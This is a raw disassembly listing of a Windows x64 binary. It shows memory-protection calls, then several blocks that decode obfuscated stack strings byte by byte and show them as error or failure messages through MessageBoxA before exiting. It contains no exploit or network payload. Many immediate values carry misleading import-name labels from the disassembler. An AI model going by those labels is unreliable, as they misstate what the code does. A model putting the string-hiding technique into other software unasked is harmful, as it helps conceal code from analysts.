mov edx, 0x1000
mov rcx, qword [rbp - 0x78]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r9d, 0x8000
lea r8, [rbp + 0xd90]
lea rdx, [rbp + 0xda0]
mov rcx, qword [rbp - 0x40]
call rdi
lea r9, [rbp + 0xee4]
mov r8d, dword [rbp + 0xee4]
mov edx, 0x1000
mov rdi, qword [rbp - 0x78]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor edx, edx
mov r8d, 0x1000
mov rcx, rdi
call fcn.1400bdea0
lea edx, [r14 - 0x15]
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
add qword [rbp - 0x38], rsi
lea rcx, [rbp + 0xfe0]
call fcn.140037da8
mov r10, qword [rbp - 0x38]
mov r11, qword [rbp - 8]
jmp 0x140024fec
mov byte [rbp + 0x450], reloc.WLDAP32.dll_Ordinal_30
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x451], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x452], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x453], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x454], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x455], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x456], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x457], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x458], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x459], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45a], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45b], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45c], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45d], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45e], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x45f], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x460], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + 0x461], al
xor eax, eax
mov byte [rbp + 0x462], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x451]
lea rcx, [rbp + 0x450]
call fcn.1400371f8
mov byte [rbp + rdi + 0x451], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002d7cf
xor edi, edi
mov byte [rbp + 0x462], dil
mov byte [rbp + 0x558], 0x5c
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x559], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x55f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x560], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x561], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x562], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x563], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x564], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x565], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x566], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x567], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x568], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x569], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x56a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x56b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x33
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + 0x56c], al
xor eax, eax
mov byte [rbp + 0x56d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x559]
lea rcx, [rbp + 0x558]
call fcn.140037880
mov byte [rbp + rdi + 0x559], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002da2f
xor eax, eax
mov byte [rbp + 0x56d], al
xor r9d, r9d
lea r8, [rbp + 0x451]
lea rdx, [rbp + 0x559]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov r12d, reloc.WS2_32.dll_listen
mov byte [rbp + 0x360], r12b
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x361], al
mov r9, rbx
lea esi, [r12 - 0xc]
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x362], al
mov r9, rbx
lea r8d, [r12 - 0xb]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x363], al
mov r9, rbx
lea r8d, [r12 - 0xa]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x364], al
mov r9, rbx
lea r8d, [r12 - 9]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x365], al
mov r9, rbx
lea r8d, [r12 - 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x366], al
mov r9, rbx
lea r8d, [r12 - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x367], al
mov r9, rbx
lea r8d, [r12 - 6]
mov dl, 0x61
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x368], al
mov r9, rbx
lea r8d, [r12 - 5]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x369], al
mov r9, rbx
lea r8d, [r12 - 4]
mov dl, r14b
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36a], al
mov r9, rbx
lea r8d, [r12 - 3]
mov dl, 0x46
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36b], al
mov r9, rbx
lea r8d, [r12 - 2]
mov dl, 0x61
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36c], al
mov r9, rbx
lea r8d, [r12 - 1]
mov dl, 0x69
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36d], al
mov r9, rbx
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36e], al
mov r9, rbx
lea r13d, [r12 + 1]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x36f], al
mov r9, rbx
lea r8d, [r12 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x370], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + 0x371], al
xor eax, eax
mov byte [rbp + 0x372], al
mov edi, eax
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x361]
lea rcx, [rbp + 0x360]
call fcn.1400371f8
mov byte [rbp + rdi + 0x361], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002e10a
xor edi, edi
mov byte [rbp + 0x372], dil
mov byte [rbp + 0x528], 0x42
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x529], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52a], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52b], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52c], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52d], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52e], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x52f], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x530], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x531], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x532], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x533], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x534], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x535], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x536], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x537], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x538], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x539], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x53a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x53b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x36
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + 0x53c], al
xor eax, eax
mov byte [rbp + 0x53d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x529]
lea rcx, [rbp + 0x528]
call fcn.140037880
mov byte [rbp + rdi + 0x529], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002e36a
xor eax, eax
mov byte [rbp + 0x53d], al
xor r9d, r9d
lea r8, [rbp + 0x361]
lea rdx, [rbp + 0x529]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x2e8], Ordinal_50
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2e9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2ea], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2eb], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2ec], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2ed], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2ee], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2ef], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f0], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f1], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f2], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f3], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f4], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f5], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f6], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f7], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f8], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + 0x2f9], al
xor eax, eax
mov byte [rbp + 0x2fa], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2e9]
lea rcx, [rbp + 0x2e8]
call fcn.1400371f8
mov byte [rbp + rdi + 0x2e9], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002e59e
xor edi, edi
mov byte [rbp + 0x2fa], dil
mov byte [rbp + 0x510], 0x56
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x511], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x512], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x513], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x514], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x515], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x516], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x517], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x518], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x519], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51a], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51b], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51c], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51d], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51e], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x51f], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x520], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x521], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x522], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x523], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x35
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + 0x524], al
xor eax, eax
mov byte [rbp + 0x525], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x511]
lea rcx, [rbp + 0x510]
call fcn.140037880
mov byte [rbp + rdi + 0x511], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002e7fe
xor eax, eax
mov byte [rbp + 0x525], al
xor r9d, r9d
lea r8, [rbp + 0x2e9]
lea rdx, [rbp + 0x511]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x2d0], 0x55
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d1], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d2], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d3], al
mov r9, rbx
lea r8d, [rsi + 2]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d4], al
mov r9, rbx
lea r8d, [rsi + 3]
mov dl, reloc.WS2_32.dll_WSAStartup
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d5], al
mov r9, rbx
lea r8d, [rsi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d6], al
mov r9, rbx
lea r8d, [rsi + 5]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d7], al
mov r9, rbx
lea r8d, [rsi + 6]
mov dl, 0x61
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d8], al
mov r9, rbx
lea r8d, [rsi + 7]
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2d9], al
mov r9, rbx
lea r8d, [rsi + 8]
mov dl, r14b
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2da], al
mov r9, rbx
lea r8d, [rsi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2db], al
mov r9, rbx
lea r8d, [rsi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2dc], al
mov r9, rbx
lea r8d, [rsi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2dd], al
mov r9, rbx
lea r12d, [rsi + 0xc]
mov r8d, r12d
mov dl, 0x6c
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2de], al
mov r9, rbx
lea r13d, [rsi + 0xd]
mov r8d, r13d
mov dl, 0x75
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2df], al
mov r9, rbx
lea r8d, [rsi + 0xe]
mov dl, WSAStartup
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2e0], al
mov r9, rbx
mov r8, r15
mov dl, 0x65
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + 0x2e1], al
xor eax, eax
mov byte [rbp + 0x2e2], al
mov r9, rbx
mov r8, rdi
mov dl, byte [rbp + rdi + 0x2d1]
lea rcx, [rbp + 0x2d0]
call fcn.1400371f8
mov byte [rbp + rdi + 0x2d1], al
add rdi, rsi
cmp rdi, rbx
jb 0x14002ea32
xor edi, edi
mov byte [rbp + 0x2e2], dil
mov byte [rbp + 0x4f8], 0x51
lea esi, [rdi + 0x14]
mov r9d, esi
xor r8d, r8d
mov dl, 0x49
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4f9], al
mov r9d, esi
lea r8d, [rdi + 1]
mov dl, 0x41
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4fa], al
mov r9d, esi
lea r8d, [rdi + 2]
mov dl, r14b
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4fb], al
mov r9d, esi
lea r8d, [rdi + 3]
mov dl, 0x53
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4fc], al
mov r9d, esi
lea r8d, [rdi + 4]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4fd], al
mov r9d, esi
lea r8d, [rdi + 5]
mov dl, 0x61
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4fe], al
mov r9d, esi
lea r8d, [rdi + 6]
mov dl, WSAStartup
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x4ff], al
mov r9d, esi
lea r8d, [rdi + 7]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x500], al
mov r9d, esi
lea r8d, [rdi + 8]
mov dl, r14b
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x501], al
mov r9d, esi
lea r8d, [rdi + 9]
mov dl, 0x46
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x502], al
mov r9d, esi
lea r8d, [rdi + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x503], al
mov r9d, esi
lea r8d, [rdi + 0xb]
mov dl, 0x69
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x504], al
mov r9d, esi
lea r8d, [rdi + 0xc]
mov dl, 0x6c
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x505], al
mov r9d, esi
mov r8, r12
mov dl, 0x75
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x506], al
mov r9d, esi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x507], al
mov r9d, esi
lea r8d, [rdi + 0xf]
mov dl, 0x65
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x508], al
mov r9d, esi
mov r8, r15
mov dl, r14b
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x509], al
mov r9d, esi
mov r8, rbx
mov dl, 0x30
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x50a], al
mov r9d, esi
lea r8d, [rdi + 0x12]
mov dl, 0x78
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x50b], al
mov r9d, esi
lea r8d, [rdi + 0x13]
mov dl, 0x34
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + 0x50c], al
xor eax, eax
mov byte [rbp + 0x50d], al
lea ebx, [rdi + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x4f9]
lea rcx, [rbp + 0x4f8]
call fcn.140037880
mov byte [rbp + rdi + 0x4f9], al
add rdi, rbx
cmp rdi, rsi
jb 0x14002ec92
xor eax, eax
mov byte [rbp + 0x50d], al
xor r9d, r9d
lea r8, [rbp + 0x2d1]
lea rdx, [rbp + 0x4f9]
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, ebx
call fcn.14009cf48
int3
mov byte [rbp + 0x3a8], r15b
mov r9, rbx
xor r8d, r8d
mov dl, 0x42
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3a9], al
mov r9, rbx
mov esi, 1
mov r8d, esi
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3aa], al
mov r9, rbx
lea r8d, [rsi + 1]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x3a8]
call fcn.1400371f8
mov byte [rbp + 0x3ab], al
